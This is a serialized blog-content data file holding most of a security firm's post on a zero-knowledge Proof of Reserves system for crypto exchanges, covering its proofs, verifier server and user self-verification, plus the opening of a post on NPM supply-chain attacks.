"value":21779},{"type":23,"tag":213,"props":96285,"children":96287},{"className":96286,"style":93100},[4103],[96288],{"type":28,"value":3181},{"type":23,"tag":213,"props":96290,"children":96292},{"className":96291},[4103,21637],[96293],{"type":28,"value":24},{"type":23,"tag":213,"props":96295,"children":96297},{"className":96296,"style":93100},[4103,21637],[96298],{"type":28,"value":93919},{"type":23,"tag":213,"props":96300,"children":96302},{"className":96301},[4103,21637],[96303],{"type":28,"value":3826},{"type":23,"tag":213,"props":96305,"children":96307},{"className":96306},[4103,21637],[96308],{"type":28,"value":93930},{"type":23,"tag":213,"props":96310,"children":96312},{"className":96311},[21766],[96313],{"type":28,"value":3821},{"type":23,"tag":213,"props":96315,"children":96317},{"className":96316},[4103,21637],[96318],{"type":28,"value":36},{"type":23,"tag":213,"props":96320,"children":96322},{"className":96321},[4103,21637],[96323],{"type":28,"value":93091},{"type":23,"tag":213,"props":96325,"children":96327},{"className":96326},[4103,21637],[96328],{"type":28,"value":21779},{"type":23,"tag":213,"props":96330,"children":96332},{"className":96331,"style":93100},[4103],[96333],{"type":28,"value":3181},{"type":23,"tag":213,"props":96335,"children":96337},{"className":96336},[4103,21637],[96338],{"type":28,"value":56456},{"type":23,"tag":213,"props":96340,"children":96342},{"className":96341},[4103,21637],[96343],{"type":28,"value":93359},{"type":23,"tag":213,"props":96345,"children":96347},{"className":96346},[4103,21637],[96348],{"type":28,"value":51186},{"type":23,"tag":213,"props":96350,"children":96352},{"className":96351},[21788],[96353],{"type":28,"value":15470},{"type":28,"value":6550},{"type":23,"tag":95,"props":96356,"children":96357},{},[96358],{"type":28,"value":96359},"(verifies if all asset prices are the same)",{"type":23,"tag":135,"props":96361,"children":96362},{},[96363,96742,96743],{"type":23,"tag":209,"props":96364,"children":96366},{"className":96365},[4076,4077],[96367],{"type":23,"tag":213,"props":96368,"children":96370},{"className":96369},[4082],[96371],{"type":23,"tag":213,"props":96372,"children":96374},{"className":96373,"ariaHidden":1710},[4087],[96375,96456],{"type":23,"tag":213,"props":96376,"children":96378},{"className":96377},[4092],[96379,96383,96388,96393,96398,96403,96408,96413,96418,96423,96428,96433,96438,96443,96447,96452],{"type":23,"tag":213,"props":96380,"children":96382},{"className":96381,"style":94513},[4097],[],{"type":23,"tag":213,"props":96384,"children":96386},{"className":96385},[4103,21637],[96387],{"type":28,"value":51186},{"type":23,"tag":213,"props":96389,"children":96391},{"className":96390,"style":93100},[4103,21637],[96392],{"type":28,"value":94525},{"type":23,"tag":213,"props":96394,"children":96396},{"className":96395,"style":94529},[4103,21637],[96397],{"type":28,"value":88737},{"type":23,"tag":213,"props":96399,"children":96401},{"className":96400,"style":93112},[4103,21637],[96402],{"type":28,"value":93115},{"type":23,"tag":213,"props":96404,"children":96406},{"className":96405},[4103,21637],[96407],{"type":28,"value":51507},{"type":23,"tag":213,"props":96409,"children":96411},{"className":96410,"style":93100},[4103],[96412],{"type":28,"value":3181},{"type":23,"tag":213,"props":96414,"children":96416},{"className":96415},[4103,21637],[96417],{"type":28,"value":21779},{"type":23,"tag":213,"props":96419,"children":96421},{"className":96420},[4103,21637],[96422],{"type":28,"value":94557},{"type":23,"tag":213,"props":96424,"children":96426},{"className":96425,"style":93100},[4103],[96427],{"type":28,"value":3181},{"type":23,"tag":213,"props":96429,"children":96431},{"className":96430},[4103,21637],[96432],{"type":28,"value":94568},{"type":23,"tag":213,"props":96434,"children":96436},{"className":96435},[4103,21637],[96437],{"type":28,"value":10735},{"type":23,"tag":213,"props":96439,"children":96441},{"className":96440},[4103,21637],[96442],{"type":28,"value":84398},{"type":23,"tag":213,"props":96444,"children":96446},{"className":96445,"style":4282},[4184],[],{"type":23,"tag":213,"props":96448,"children":96450},{"className":96449},[4287],[96451],{"type":28,"value":8660},{"type":23,"tag":213,"props":96453,"children":96455},{"className":96454,"style":4282},[4184],[],{"type":23,"tag":213,"props":96457,"children":96459},{"className":96458},[4092],[96460,96464,96469,96474,96479,96484,96489,96494,96499,96504,96509,96566,96571,96575,96580,96585,96642,96647,96651,96656,96661,96665,96670,96675,96737],{"type":23,"tag":213,"props":96461,"children":96463},{"className":96462,"style":4205},[4097],[],{"type":23,"tag":213,"props":96465,"children":96467},{"className":96466,"style":21638},[4103,21637],[96468],{"type":28,"value":21641},{"type":23,"tag":213,"props":96470,"children":96472},{"className":96471},[4103,21637],[96473],{"type":28,"value":93054},{"type":23,"tag":213,"props":96475,"children":96477},{"className":96476},[4103,21637],[96478],{"type":28,"value":3826},{"type":23,"tag":213,"props":96480,"children":96482},{"className":96481},[4103,21637],[96483],{"type":28,"value":70617},{"type":23,"tag":213,"props":96485,"children":96487},{"className":96486},[4103,21637],[96488],{"type":28,"value":93070},{"type":23,"tag":213,"props":96490,"children":96492},{"className":96491},[4103,21637],[96493],{"type":28,"value":56456},{"type":23,"tag":213,"props":96495,"children":96497},{"className":96496},[21766],[96498],{"type":28,"value":265},{"type":23,"tag":213,"props":96500,"children":96502},{"className":96501},[4103,21637],[96503],{"type":28,"value":94568},{"type":23,"tag":213,"props":96505,"children":96507},{"className":96506},[4103,21637],[96508],{"type":28,"value":10735},{"type":23,"tag":213,"props":96510,"children":96512},{"className":96511},[4103],[96513,96518],{"type":23,"tag":213,"props":96514,"children":96516},{"className":96515},[4103,21637],[96517],{"type":28,"value":84398},{"type":23,"tag":213,"props":96519,"children":96521},{"className":96520},[4120],[96522],{"type":23,"tag":213,"props":96523,"children":96525},{"className":96524},[4125,21691],[96526,96555],{"type":23,"tag":213,"props":96527,"children":96529},{"className":96528},[4130],[96530,96550],{"type":23,"tag":213,"props":96531,"children":96533},{"className":96532,"style":93152},[4135],[96534],{"type":23,"tag":213,"props":96535,"children":96536},{"style":93156},[96537,96541],{"type":23,"tag":213,"props":96538,"children":96540},{"className":96539,"style":4145},[4144],[],{"type":23,"tag":213,"props":96542,"children":96544},{"className":96543},[4150,4151,4152,4153],[96545],{"type":23,"tag":213,"props":96546,"children":96548},{"className":96547},[4103,4153],[96549],{"type":28,"value":4116},{"type":23,"tag":213,"props":96551,"children":96553},{"className":96552},[21794],[96554],{"type":28,"value":21797},{"type":23,"tag":213,"props":96556,"children":96558},{"className":96557},[4130],[96559],{"type":23,"tag":213,"props":96560,"children":96562},{"className":96561,"style":93183},[4135],[96563],{"type":23,"tag":213,"props":96564,"children":96565},{},[],{"type":23,"tag":213,"props":96567,"children":96569},{"className":96568},[4216],[96570],{"type":28,"value":4219},{"type":23,"tag":213,"props":96572,"children":96574},{"className":96573,"style":4223},[4184],[],{"type":23,"tag":213,"props":96576,"children":96578},{"className":96577},[4103,21637],[96579],{"type":28,"value":94568},{"type":23,"tag":213,"props":96581,"children":96583},{"className":96582},[4103,21637],[96584],{"type":28,"value":10735},{"type":23,"tag":213,"props":96586,"children":96588},{"className":96587},[4103],[96589,96594],{"type":23,"tag":213,"props":96590,"children":96592},{"className":96591},[4103,21637],[96593],{"type":28,"value":84398},{"type":23,"tag":213,"props":96595,"children":96597},{"className":96596},[4120],[96598],{"type":23,"tag":213,"props":96599,"children":96601},{"className":96600},[4125,21691],[96602,96631],{"type":23,"tag":213,"props":96603,"children":96605},{"className":96604},[4130],[96606,96626],{"type":23,"tag":213,"props":96607,"children":96609},{"className":96608,"style":93152},[4135],[96610],{"type":23,"tag":213,"props":96611,"children":96612},{"style":93156},[96613,96617],{"type":23,"tag":213,"props":96614,"children":96616},{"className":96615,"style":4145},[4144],[],{"type":23,"tag":213,"props":96618,"children":96620},{"className":96619},[4150,4151,4152,4153],[96621],{"type":23,"tag":213,"props":96622,"children":96624},{"className":96623},[4103,4153],[96625],{"type":28,"value":4106},{"type":23,"tag":213,"props":96627,"children":96629},{"className":96628},[21794],[96630],{"type":28,"value":21797},{"type":23,"tag":213,"props":96632,"children":96634},{"className":96633},[4130],[96635],{"type":23,"tag":213,"props":96636,"children":96638},{"className":96637,"style":93183},[4135],[96639],{"type":23,"tag":213,"props":96640,"children":96641},{},[],{"type":23,"tag":213,"props":96643,"children":96645},{"className":96644},[4216],[96646],{"type":28,"value":4219},{"type":23,"tag":213,"props":96648,"children":96650},{"className":96649,"style":4223},[4184],[],{"type":23,"tag":213,"props":96652,"children":96654},{"className":96653},[4103],[96655],{"type":28,"value":9675},{"type":23,"tag":213,"props":96657,"children":96659},{"className":96658},[4216],[96660],{"type":28,"value":4219},{"type":23,"tag":213,"props":96662,"children":96664},{"className":96663,"style":4223},[4184],[],{"type":23,"tag":213,"props":96666,"children":96668},{"className":96667},[4103,21637],[96669],{"type":28,"value":94568},{"type":23,"tag":213,"props":96671,"children":96673},{"className":96672},[4103,21637],[96674],{"type":28,"value":10735},{"type":23,"tag":213,"props":96676,"children":96678},{"className":96677},[4103],[96679,96684],{"type":23,"tag":213,"props":96680,"children":96682},{"className":96681},[4103,21637],[96683],{"type":28,"value":84398},{"type":23,"tag":213,"props":96685,"children":96687},{"className":96686},[4120],[96688],{"type":23,"tag":213,"props":96689,"children":96691},{"className":96690},[4125,21691],[96692,96726],{"type":23,"tag":213,"props":96693,"children":96695},{"className":96694},[4130],[96696,96721],{"type":23,"tag":213,"props":96697,"children":96699},{"className":96698,"style":93152},[4135],[96700],{"type":23,"tag":213,"props":96701,"children":96702},{"style":93156},[96703,96707],{"type":23,"tag":213,"props":96704,"children":96706},{"className":96705,"style":4145},[4144],[],{"type":23,"tag":213,"props":96708,"children":96710},{"className":96709},[4150,4151,4152,4153],[96711],{"type":23,"tag":213,"props":96712,"children":96714},{"className":96713},[4103,4153],[96715],{"type":23,"tag":213,"props":96716,"children":96718},{"className":96717},[4103,4153],[96719],{"type":28,"value":96720},"31",{"type":23,"tag":213,"props":96722,"children":96724},{"className":96723},[21794],[96725],{"type":28,"value":21797},{"type":23,"tag":213,"props":96727,"children":96729},{"className":96728},[4130],[96730],{"type":23,"tag":213,"props":96731,"children":96733},{"className":96732,"style":93183},[4135],[96734],{"type":23,"tag":213,"props":96735,"children":96736},{},[],{"type":23,"tag":213,"props":96738,"children":96740},{"className":96739},[21788],[96741],{"type":28,"value":2121},{"type":28,"value":6550},{"type":23,"tag":95,"props":96744,"children":96745},{},[96746],{"type":28,"value":94888},{"type":23,"tag":135,"props":96748,"children":96749},{},[96750,96755,96756],{"type":23,"tag":87,"props":96751,"children":96752},{},[96753],{"type":28,"value":96754},"checks if each sum is overflowing by checking if the sum of two positive numbers results in a negative one",{"type":28,"value":6550},{"type":23,"tag":95,"props":96757,"children":96758},{},[96759],{"type":28,"value":95172},{"type":23,"tag":24,"props":96761,"children":96762},{},[96763],{"type":28,"value":96764},"Here is a visual scheme of the inputs of the recursive circuit. Note that this tree only has three levels (L1, L2, L3). Depending on the number of users, it may have more recursive levels:",{"type":23,"tag":24,"props":96766,"children":96767},{},[96768],{"type":23,"tag":4009,"props":96769,"children":96771},{"alt":50631,"src":96770},"/posts/por/recursive-circuit.png",[],{"type":23,"tag":47,"props":96773,"children":96775},{"id":96774},"global-proof-and-inclusion-proofs",[96776],{"type":28,"value":96777},"Global Proof and Inclusion Proofs",{"type":23,"tag":9693,"props":96779,"children":96780},{"id":9367},[96781],{"type":28,"value":96782},"Proving",{"type":23,"tag":24,"props":96784,"children":96785},{},[96786,96788,96794,96795,96801,96802,96808],{"type":28,"value":96787},"After proving all batch circuits and all recursive circuits, we have the final proof (which is the ZK proof of the recursive tree root), the entire Merkle tree, and the user nonces. In our code, it is serialized to ",{"type":23,"tag":209,"props":96789,"children":96791},{"className":96790},[],[96792],{"type":28,"value":96793},"merkle_tree.json",{"type":28,"value":424},{"type":23,"tag":209,"props":96796,"children":96798},{"className":96797},[],[96799],{"type":28,"value":96800},"final_proof.json",{"type":28,"value":6580},{"type":23,"tag":209,"props":96803,"children":96805},{"className":96804},[],[96806],{"type":28,"value":96807},"private_nonces.json",{"type":28,"value":96809}," files.",{"type":23,"tag":24,"props":96811,"children":96812},{},[96813],{"type":28,"value":96814},"Using the ZK proof and the Merkle tree, we can already prove the sum of the asset balances and their non-negativity; we refer to this as the \"global proof.\"",{"type":23,"tag":24,"props":96816,"children":96817},{},[96818,96820,96826,96828,96833],{"type":28,"value":96819},"For the user inclusion proofs, we get the Merkle tree, the user asset balances, the identification hash, and the nonce to bundle it in one proof file (",{"type":23,"tag":209,"props":96821,"children":96823},{"className":96822},[],[96824],{"type":28,"value":96825},"inclusion_proof_\u003Cid>.json",{"type":28,"value":96827},"). ",{"type":23,"tag":87,"props":96829,"children":96830},{},[96831],{"type":28,"value":96832},"We bundle only a part of the Merkle tree to the inclusion proof file to make the proof smaller",{"type":28,"value":124},{"type":23,"tag":9693,"props":96835,"children":96837},{"id":96836},"verifying",[96838],{"type":28,"value":96839},"Verifying",{"type":23,"tag":24,"props":96841,"children":96842},{},[96843],{"type":23,"tag":95,"props":96844,"children":96845},{},[96846],{"type":28,"value":96847},"Global Proof",{"type":23,"tag":24,"props":96849,"children":96850},{},[96851,96853,96858,96859,96864],{"type":28,"value":96852},"To verify the global proof, the code deserializes the ",{"type":23,"tag":209,"props":96854,"children":96856},{"className":96855},[],[96857],{"type":28,"value":96793},{"type":28,"value":37608},{"type":23,"tag":209,"props":96860,"children":96862},{"className":96861},[],[96863],{"type":28,"value":96800},{"type":28,"value":96865}," files and performs these checks:",{"type":23,"tag":131,"props":96867,"children":96868},{},[96869,96874,96879,96884,96910],{"type":23,"tag":135,"props":96870,"children":96871},{},[96872],{"type":28,"value":96873},"Validate if the final proof was generated with a valid and trusted circuit.",{"type":23,"tag":135,"props":96875,"children":96876},{},[96877],{"type":28,"value":96878},"Verify the ZK final proof.",{"type":23,"tag":135,"props":96880,"children":96881},{},[96882],{"type":28,"value":96883},"Verify if asset prices are valid. (It doesn't verify if it matches the real price; you need to do it manually. It only verifies if decimals are valid.)",{"type":23,"tag":135,"props":96885,"children":96886},{},[96887,96889,96895,96897,96902,96903,96908],{"type":28,"value":96888},"Verify if the Merkle tree root hash is the same as the final proof ",{"type":23,"tag":209,"props":96890,"children":96892},{"className":96891},[],[96893],{"type":28,"value":96894},"merkle_tree_hash",{"type":28,"value":96896}," public input. This ensures that the ",{"type":23,"tag":209,"props":96898,"children":96900},{"className":96899},[],[96901],{"type":28,"value":96793},{"type":28,"value":1466},{"type":23,"tag":209,"props":96904,"children":96906},{"className":96905},[],[96907],{"type":28,"value":96800},{"type":28,"value":96909}," are linked (they belong to the same global proof).",{"type":23,"tag":135,"props":96911,"children":96912},{},[96913],{"type":28,"value":96914},"Verify the entire Merkle tree by hashing all the nodes again, starting with the batch circuit, since the verifier won't have the necessary information to hash the leaves again (for privacy). This ensures that the tree was not tampered with.",{"type":23,"tag":24,"props":96916,"children":96917},{},[96918],{"type":23,"tag":95,"props":96919,"children":96920},{},[96921],{"type":28,"value":96922},"Inclusion Proof",{"type":23,"tag":24,"props":96924,"children":96925},{},[96926,96928,96933,96935,96940],{"type":28,"value":96927},"To verify the inclusion proof, the code deserializes the ",{"type":23,"tag":209,"props":96929,"children":96931},{"className":96930},[],[96932],{"type":28,"value":96825},{"type":28,"value":96934}," file and also the ",{"type":23,"tag":209,"props":96936,"children":96938},{"className":96937},[],[96939],{"type":28,"value":96800},{"type":28,"value":96941},". After that, it performs these checks:",{"type":23,"tag":131,"props":96943,"children":96944},{},[96945,96949,96954,96959],{"type":23,"tag":135,"props":96946,"children":96947},{},[96948],{"type":28,"value":96878},{"type":23,"tag":135,"props":96950,"children":96951},{},[96952],{"type":28,"value":96953},"Verify if the Merkle tree root is the same as in the final proof.",{"type":23,"tag":135,"props":96955,"children":96956},{},[96957],{"type":28,"value":96958},"Recalculate the user-related node leaf hash.",{"type":23,"tag":135,"props":96960,"children":96961},{},[96962],{"type":28,"value":96963},"Verify a partial Merkle tree using the recalculated hash (it doesn't contain all the leaves).",{"type":23,"tag":47,"props":96965,"children":96967},{"id":96966},"por-verifier-server",[96968],{"type":28,"value":96969},"PoR Verifier Server",{"type":23,"tag":24,"props":96971,"children":96972},{},[96973,96975,96981],{"type":28,"value":96974},"To automate the verification process, we created a ",{"type":23,"tag":36,"props":96976,"children":96978},{"href":92611,"rel":96977},[40],[96979],{"type":28,"value":96980},"verifier server",{"type":28,"value":96982}," that the exchange can submit the proofs into. Once submitted, the proof is validated and added to the database.",{"type":23,"tag":24,"props":96984,"children":96985},{},[96986],{"type":28,"value":96987},"Once the proof was added, any user can enter the website and see its information (see backpack's example):",{"type":23,"tag":24,"props":96989,"children":96990},{},[96991],{"type":23,"tag":4009,"props":96992,"children":96994},{"alt":50631,"src":96993},"/posts/por/backpack-por.png",[],{"type":23,"tag":24,"props":96996,"children":96997},{},[96998],{"type":28,"value":96999},"Here is a breakdown of what fields represent and why they are required:",{"type":23,"tag":168,"props":97001,"children":97002},{},[97003,97013,97023,97033,97043,97053],{"type":23,"tag":135,"props":97004,"children":97005},{},[97006,97011],{"type":23,"tag":95,"props":97007,"children":97008},{},[97009],{"type":28,"value":97010},"Status",{"type":28,"value":97012}," --> verifies if the proof is valid, ensuring that the information has not been tampered with.",{"type":23,"tag":135,"props":97014,"children":97015},{},[97016,97021],{"type":23,"tag":95,"props":97017,"children":97018},{},[97019],{"type":28,"value":97020},"Proof Timestamp",{"type":28,"value":97022}," --> when the proof was generated by the exchange.",{"type":23,"tag":135,"props":97024,"children":97025},{},[97026,97031],{"type":23,"tag":95,"props":97027,"children":97028},{},[97029],{"type":28,"value":97030},"Verify Timestamp",{"type":28,"value":97032}," --> when the proof was verified by the PoR server.",{"type":23,"tag":135,"props":97034,"children":97035},{},[97036,97041],{"type":23,"tag":95,"props":97037,"children":97038},{},[97039],{"type":28,"value":97040},"Proof File URL",{"type":28,"value":97042}," --> the URL where the proof was downloaded from. Users can download it to verify the proof's validity themselves.",{"type":23,"tag":135,"props":97044,"children":97045},{},[97046,97051],{"type":23,"tag":95,"props":97047,"children":97048},{},[97049],{"type":28,"value":97050},"Prover Version",{"type":28,"value":97052}," --> the version of PoRv2 used. Using different versions for proving/verifying can result in errors due to ZK circuit discrepancies. Therefore, if you are going to verify the validity of the proof yourself, ensure that you download and use the same prover version as the proof.",{"type":23,"tag":135,"props":97054,"children":97055},{},[97056,97061],{"type":23,"tag":95,"props":97057,"children":97058},{},[97059],{"type":28,"value":97060},"File Hash (SHA256)",{"type":28,"value":97062}," --> since we only store the URL of the proof, it can be maliciously changed after our verification. SHA256 can be used to prove if the file was modified after the verification. If you are going to verify the proof by yourself, check if the downloaded zip file matches the hash shown on the website.",{"type":23,"tag":24,"props":97064,"children":97065},{},[97066],{"type":28,"value":97067},"Also, you can check the exchange's liabilities on the website:",{"type":23,"tag":24,"props":97069,"children":97070},{},[97071],{"type":23,"tag":4009,"props":97072,"children":97074},{"alt":50631,"src":97073},"/posts/por/backpack-por-liabilities.png",[],{"type":23,"tag":24,"props":97076,"children":97077},{},[97078,97080,97086,97088,97094],{"type":28,"value":97079},"These are the amount of assets that the exchange should have in their reserves to be solvent on each asset. You can match if they have it by checking their reserve wallets on blockchain. You can see backpack's wallets in ",{"type":23,"tag":36,"props":97081,"children":97084},{"href":97082,"rel":97083},"https://backpack.exchange/reserves",[40],[97085],{"type":28,"value":97082},{"type":28,"value":97087}," and our verifier server for backpack at ",{"type":23,"tag":36,"props":97089,"children":97092},{"href":97090,"rel":97091},"https://backpack-por.osec.io/",[40],[97093],{"type":28,"value":97090},{"type":28,"value":124},{"type":23,"tag":47,"props":97096,"children":97098},{"id":97097},"self-verification",[97099],{"type":28,"value":97100},"Self-verification",{"type":23,"tag":24,"props":97102,"children":97103},{},[97104],{"type":28,"value":97105},"You, as a user, can verify both proofs by yourself, the inclusion proof to verify if you were included in the PoR total liabilities sum and the global proof to verify if the commitments provided by the exchange are valid.",{"type":23,"tag":9693,"props":97107,"children":97109},{"id":97108},"how-to-verify-if-i-was-included",[97110],{"type":28,"value":97111},"How to verify if I was included?",{"type":23,"tag":24,"props":97113,"children":97114},{},[97115],{"type":28,"value":97116},"If you are a user and want to do the self-verification of inclusion, you will need to follow these steps:",{"type":23,"tag":131,"props":97118,"children":97119},{},[97120,97131,97149],{"type":23,"tag":135,"props":97121,"children":97122},{},[97123,97130],{"type":23,"tag":36,"props":97124,"children":97127},{"href":97125,"rel":97126},"https://github.com/otter-sec/por_v2/releases",[40],[97128],{"type":28,"value":97129},"Download the PoRv2 executable from our github",{"type":28,"value":124},{"type":23,"tag":135,"props":97132,"children":97133},{},[97134,97136,97141,97142,97147],{"type":28,"value":97135},"Download the inclusion and the final proof files from the exchange (",{"type":23,"tag":209,"props":97137,"children":97139},{"className":97138},[],[97140],{"type":28,"value":96825},{"type":28,"value":1466},{"type":23,"tag":209,"props":97143,"children":97145},{"className":97144},[],[97146],{"type":28,"value":96800},{"type":28,"value":97148},") and put the files in the same directory as the PoRv2 app.",{"type":23,"tag":135,"props":97150,"children":97151},{},[97152,97154,97160],{"type":28,"value":97153},"Open the terminal and execute this: ",{"type":23,"tag":209,"props":97155,"children":97157},{"className":97156},[],[97158],{"type":28,"value":97159},"./plonky2_por verify-inclusion",{"type":28,"value":124},{"type":23,"tag":24,"props":97162,"children":97163},{},[97164],{"type":28,"value":97165},"This will verify if the proofs are valid and show your asset balances. You will need to verify manually that the balances are correct. Remember that the proofs are not calculated in real-time; you must verify if the balances were correct at the proof generation date. Here is an example of a valid proof being verified:",{"type":23,"tag":202,"props":97167,"children":97169},{"code":97168},"[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Some asset balances was rounded by some decimals, verify if they are close enough to the original balance\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset balances-----\nETH: 0\nBTC: 1.2\nUSDC: 0\n...\n======================\n[!] Verifying global proof (trusting circuit data inside the file)...\n[+] Global proof is valid!\n[!] Verifying inclusion proof...\n[+] Inclusion proof root hash is valid! The user is included in the merkle tree!\n[+] Successfully verified inclusion proof for file: inclusion_proof_00476816e43cf2efffdabdda7f55c5203bc9e28382c551f83931de02fd364a25.json\n\n[+] All inclusion proofs are valid!\n[+] Finished in 13.731875ms!\n",[97170],{"type":23,"tag":209,"props":97171,"children":97172},{"__ignoreMap":7},[97173],{"type":28,"value":97168},{"type":23,"tag":9693,"props":97175,"children":97177},{"id":97176},"how-can-i-verify-the-global-proof",[97178],{"type":28,"value":97179},"How can I verify the global proof?",{"type":23,"tag":24,"props":97181,"children":97182},{},[97183],{"type":28,"value":97184},"If you want to verify if the global proof is valid, you just need to follow these steps:",{"type":23,"tag":131,"props":97186,"children":97187},{},[97188,97197,97215],{"type":23,"tag":135,"props":97189,"children":97190},{},[97191,97196],{"type":23,"tag":36,"props":97192,"children":97194},{"href":97125,"rel":97193},[40],[97195],{"type":28,"value":97129},{"type":28,"value":124},{"type":23,"tag":135,"props":97198,"children":97199},{},[97200,97202,97207,97208,97213],{"type":28,"value":97201},"Download the ",{"type":23,"tag":209,"props":97203,"children":97205},{"className":97204},[],[97206],{"type":28,"value":96793},{"type":28,"value":37608},{"type":23,"tag":209,"props":97209,"children":97211},{"className":97210},[],[97212],{"type":28,"value":96800},{"type":28,"value":97214}," files and put them in the same directory as the PoRv2 app. You can download those files from our PoR verifier server (download the zip file and unzip it).",{"type":23,"tag":135,"props":97216,"children":97217},{},[97218,97220,97225],{"type":28,"value":97219},"Open the terminal and execute ",{"type":23,"tag":209,"props":97221,"children":97223},{"className":97222},[],[97224],{"type":28,"value":97159},{"type":28,"value":97226},". This might take a while to verify since it needs to deserialize a big file and verify the final proof circuit (which involves rebuilding it).",{"type":23,"tag":24,"props":97228,"children":97229},{},[97230],{"type":28,"value":97231},"This will verify the global proof and print the asset prices to be manually verified. Note that the asset prices shown are not real-time; you must match them to the price on the proof generation date and time.",{"type":23,"tag":202,"props":97233,"children":97235},{"code":97234},"[!] Verifying the proof of reserves...\n[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Asset prices was rounded by some decimals, verify if they are close enough to the original price\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset prices-----\nBTC: US$ 95000\nETH: US$ 2402.48\n...\n======================\n",[97236],{"type":23,"tag":209,"props":97237,"children":97238},{"__ignoreMap":7},[97239],{"type":28,"value":97234},{"type":23,"tag":24,"props":97241,"children":97242},{},[97243],{"type":28,"value":97244},"When verification is completed, and all proofs are valid, the system will print the summed balances of each asset. These are the liabilities of the exchange, which you can use to check if they have reserves to cover it.",{"type":23,"tag":202,"props":97246,"children":97248},{"code":97247},"[!] Rebuilding root circuit... This might take several minutes...\n[+] Root circuit rebuilt successfully!\n[!] Verifying final proof...\n[+] Proof is valid!\n[!] Verifying asset prices...\n[+] Asset prices are valid!\n[!] Verifying asset decimals...\n[+] Asset decimals are valid!\n[!] Verifying merkle tree root hash...\n[+] Merkle tree root hash is valid!\n[!] Verifying merkle tree...\n[+] Merkle tree is valid!\n\n[!] The following information is the final needed asset reserves, which was validated by the Zero-Knowledge proof\n[!] NOTE: This is not real-time information, the information is relative to the time of the proof generation\n[!] NOTE2: We cannot guarantee that all users were included in the proof, but you can check if you were included by verifying the inclusion proof\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset reserves-----\nBTC: 1.2\nETH: 5.4\n...\n======================\n\n[+] All proofs are valid!\n[+] Finished in 4.455745214s!\n",[97249],{"type":23,"tag":209,"props":97250,"children":97251},{"__ignoreMap":7},[97252],{"type":28,"value":97247},{"type":23,"tag":47,"props":97254,"children":97255},{"id":28989},[97256],{"type":28,"value":19000},{"type":23,"tag":24,"props":97258,"children":97259},{},[97260],{"type":28,"value":97261},"In conclusion, Proof of Reserves serves as a crucial mechanism for crypto platforms, enabling them to demonstrate solvency and gain user trust in a transparent manner. By employing zero-knowledge proofs, platforms can achieve this transparency without exposing sensitive user data, effectively proving total liabilities and ensuring non-negativity while preserving privacy. Our system further refines this process, boosting efficiency and eliminating the need for manual verification.",{"type":23,"tag":24,"props":97263,"children":97264},{},[97265,97267,97273],{"type":28,"value":97266},"We are currently working with Backpack to implement this algorithm ",{"type":23,"tag":36,"props":97268,"children":97270},{"href":97082,"rel":97269},[40],[97271],{"type":28,"value":97272},"in production",{"type":28,"value":97274}," to generate and verify proofs every 24 hours. This marks a significant advancement toward establishing a real-time Proof of Reserves system, particularly given that it offers increased transparency, which is a step forward in reducing the need for external audit companies, as users will be able to verify everything themselves.",{"type":23,"tag":24,"props":97276,"children":97277},{},[97278,97280,97287],{"type":28,"value":97279},"For more information about how Backpack Exchange implements Proof of Reserves in practice, you can read their detailed article: ",{"type":23,"tag":36,"props":97281,"children":97284},{"href":97282,"rel":97283},"https://learn.backpack.exchange/articles/proof-of-reserves-at-backpack",[40],[97285],{"type":28,"value":97286},"Proof of Reserves at Backpack Exchange: Real Transparency, ZK Verified",{"type":28,"value":124},{"title":7,"searchDepth":226,"depth":226,"links":97289},[97290,97291,97292,97293,97296,97301,97305,97306,97310],{"id":92539,"depth":226,"text":92542},{"id":92620,"depth":226,"text":92623},{"id":92690,"depth":226,"text":92693},{"id":92744,"depth":226,"text":92747,"children":97294},[97295],{"id":92823,"depth":524,"text":92826},{"id":92911,"depth":226,"text":92914,"children":97297},[97298,97299,97300],{"id":92984,"depth":524,"text":92987},{"id":93456,"depth":524,"text":93459},{"id":95195,"depth":524,"text":95198},{"id":96774,"depth":226,"text":96777,"children":97302},[97303,97304],{"id":9367,"depth":524,"text":96782},{"id":96836,"depth":524,"text":96839},{"id":96966,"depth":226,"text":96969},{"id":97097,"depth":226,"text":97100,"children":97307},[97308,97309],{"id":97108,"depth":524,"text":97111},{"id":97176,"depth":524,"text":97179},{"id":28989,"depth":226,"text":19000},"content:blog:2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds",{"_path":97315,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":97316,"description":97317,"date":97318,"author":31256,"image":97319,"isFeatured":18,"onBlogPage":18,"tags":97322,"body":97325,"_type":2967,"_id":99751,"_source":2969,"_file":99752,"_stem":99753,"_extension":2972},"/blog/2025-09-13-how-to-survive-supply-chain-attacks","How to Survive Supply-Chain Attacks","The recent supply-chain attack on NPM showed how easily trusted dependencies can become delivery vectors for malware. Learn how the attack worked and practical defenses developers can implement to stay safe.","2025-09-13T12:00:00.000Z",{"src":97320,"width":97321,"height":13703},"/posts/supply-chain-attcks/title.png",1536,[97323,97324],"npm","supply-chain",{"type":20,"children":97326,"toc":99734},[97327,97340,97345,97350,97356,97361,97369,97699,97707,98270,98278,98985,98991,98996,99002,99007,99012,99018,99023,99035,99040,99066,99153,99165,99190,99206,99211,99216,99422,99464,99469,99481,99487,99499,99541,99554,99634,99646,99659,99666,99677,99685,99691,99704,99709,99713,99718,99730],{"type":23,"tag":24,"props":97328,"children":97329},{},[97330,97332,97338],{"type":28,"value":97331},"The recent supply-chain attack on NPM sent shockwaves through the developer community and served as a stark reminder of the risks lurking within our dependencies. Malicious versions of widely used packages, including ",{"type":23,"tag":209,"props":97333,"children":97335},{"className":97334},[],[97336],{"type":28,"value":97337},"chalk",{"type":28,"value":97339},", were published containing sophisticated malware designed to steal cryptocurrency.",{"type":23,"tag":24,"props":97341,"children":97342},{},[97343],{"type":28,"value":97344},"This attack highlights a fundamental vulnerability in the open-source ecosystem: any package you install gets the same permissions as your own code, giving it a free pass to 